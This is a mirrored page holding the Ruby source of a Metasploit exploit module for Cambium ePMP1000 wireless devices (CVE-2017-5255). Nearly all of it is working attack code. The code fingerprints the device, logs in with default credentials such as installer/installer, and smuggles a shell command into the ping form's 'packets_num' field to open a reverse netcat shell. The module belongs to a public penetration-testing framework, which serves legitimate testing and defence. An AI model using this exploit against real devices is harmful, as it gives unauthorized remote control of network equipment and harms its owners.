CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",
14
'Description' => %{
15
This module exploits an OS Command Injection vulnerability in Cambium
16
ePMP1000 device management portal. It requires any one of the following login
17
credentials - admin/admin, installer/installer, home/home - to set up a reverse
18
netcat shell.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
24
],
25
'References' =>
26
[
27
['CVE', '2017-5255'],
28
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
29
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
30
],
31
'Privileged' => true,
32
'Targets' =>
33
[
34
['EPMP',
35
{
36
'Arch' => ARCH_CMD,
37
'Platform' => 'unix'
38
}
39
]
40
],
41
'DisclosureDate' => '2015-11-28',
42
'DefaultTarget' => 0,
43
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
44
)
45
46
register_options(
47
[
48
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
49
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
50
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
51
], self.class
52
)
53
54
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
55
end
56
57
#
58
# Fingerprinting
59
#
60
def is_app_epmp1000?
61
begin
62
res = send_request_cgi(
63
{
64
'uri' => '/',
65
'method' => 'GET'
66
}
67
)
68
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
69
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
70
return false
71
end
72
73
good_response = (
74
res &&
75
res.code == 200 &&
76
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
77
)
78
79
if good_response
80
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
81
if !get_epmp_ver.nil?
82
epmp_ver = get_epmp_ver[1]
83
if !epmp_ver.nil?
84
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
85
return true, epmp_ver
86
else
87
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
88
epmp_ver = ''
89
return true, epmp_ver
90
end
91
end
92
else
93
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
94
epmp_ver = nil
95
return false
96
end
97
end
98
99
#
100
# check
101
#
102
def check
103
success, epmp_ver = is_app_epmp1000?
104
if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
105
return CheckCode::Vulnerable
106
else
107
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
108
end
109
end
110
111
#
112
# Login
113
#
114
def login(user, pass)
115
res = send_request_cgi(
116
{
117
'uri' => '/cgi-bin/luci',
118
'method' => 'POST',
119
'headers' => {
120
'X-Requested-With' => 'XMLHttpRequest',
121
'Accept' => 'application/json, text/javascript, */*; q=0.01'
122
},
123
'vars_post' =>
124
{
125
'username' => 'dashboard',
126
'password' => ''
127
}
128
}
129
)
130
131
cookies = res.get_cookies_parsed
132
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
133
134
good_response = (
135
res &&
136
res.code == 200 &&
137
check_sysauth.include?('sysauth')
138
)
139
140
if good_response
141
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
142
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
143
144
cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
145
146
res = send_request_cgi(
147
{
148
'uri' => '/cgi-bin/luci',
149
'method' => 'POST',
150
'cookie' => cookie1,
151
'headers' => {
152
'X-Requested-With' => 'XMLHttpRequest',
153
'Accept' => 'application/json, text/javascript, */*; q=0.01',
154
'Connection' => 'close'
155
},
156
'vars_post' =>
157
{
158
'username' => user,
159
'password' => pass
160
}
161
}
162
)
163
164
cookies = res.get_cookies_parsed
165
166
good_response = (
167
res &&
168
res.code == 200 &&
169
!res.body.include?('auth_failed')
170
)
171
172
if good_response
173
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
174
175
# check if max_user_number_reached?
176
if !res.body.include?('max_user_number_reached')
177
# get the final cookie now
178
cookies = res.get_cookies_parsed
179
stok_value = cookies.has_key?('stok') && cookies['stok'].first
180
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
181
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
182
183
final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value
184
185
# create config_uri
186
config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'
187
188
return final_cookie, config_uri_ping
189
else
190
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
191
final_cookie = 'skip'
192
config_uri_ping = 'skip'
193
return final_cookie, config_uri_ping
194
end
195
else
196
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
197
final_cookie = 'skip'
198
config_uri_ping = 'skip'
199
return final_cookie, config_uri_ping
200
end
201
end
202
end
203
204
#
205
# open cmd_shell
206
#
207
def cmd_shell(config_uri, cookie)
208
command = payload.encoded
209
inject = '|' + "#{command}" + ' ||'
210
clean_inject = CGI.unescapeHTML(inject.to_s)
211
212
print_status('Sending payload...')
213
214
res = send_request_cgi(
215
{
216
'method' => 'POST',
217
'uri' => config_uri,
218
'cookie' => cookie,
219
'headers' => {
220
'Accept' => '*/*',
221
'Accept-Language' => 'en-US,en;q=0.5',
222
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
223
'X-Requested-With' => 'XMLHttpRequest',
224
'Connection' => 'close'
225
},
226
'vars_post' =>
227
{
228
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection
229
'packets_num' => clean_inject,
230
'buf_size' => 0,
231
'ttl' => 1,
232
'debug' => '0'
233
}
234
}, 25
235
)
236
handler
237
end
238
239
# exploit
240
241
def exploit
242
success, epmp_ver = is_app_epmp1000?
243
if epmp_ver < '2.5'
244
cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])
245
if cookie == 'skip' && config_uri_ping == 'skip'
246
return
247
else
248
cmd_shell(config_uri_ping, cookie)
249
end
250
else
251
print_error('This ePMP version is not vulnerable. Module will not continue.')
252
return
253
end
254
end
255
end
256
257